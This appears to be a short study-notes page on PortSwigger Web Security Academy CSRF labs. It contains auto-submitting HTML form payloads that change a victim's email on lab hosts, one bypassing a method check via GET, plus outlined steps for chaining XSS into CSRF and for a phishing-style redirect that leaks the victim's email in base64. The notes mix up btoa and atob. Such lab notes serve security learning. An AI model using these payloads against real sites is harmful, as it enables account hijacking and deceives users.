Javascript Crafting
PSG CSRF 1 : No Validation
<form method="POST" action="https://0a3700f504731a4780bc0d2500a000f6.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="ttttt@test.com">
</form>
<script>
document.forms[0].submit();
</script>PSG CSRF 2 : CSRF request method validation bypass using GET request instead of POST
<form action="https://0a3200e70330e7bb86d263eb00300092.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="wqwqqqqe@dwa.com" />
<input type="hidden" name="csrf" value="57wADTL15Fs0pWIwqejKzreJVbVp80fO" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>XSS to CSRF Changing email
Go to the account page
Make POST request to change email
Remember supply necessary parameter (can get from burp post request)
CSRF placing email bot from parameter and redirecting it to another host
Obtain
emailandurlfromvictim opened linkurlwill be used as redirected hostPlace the value of
emailinto the input box as placeholder (to trick victim thinking its legit website)When victim press the
Proceedbutton , they get redirected tourl+keywhere key is their email encrypted in base64
CSRF placing email obtained from parameter
Must have base64 email (key) of victim (atob to encrypt and btoa to decrypt base64)
Pass in the value as email place holder to trick victim
Last updated
Was this helpful?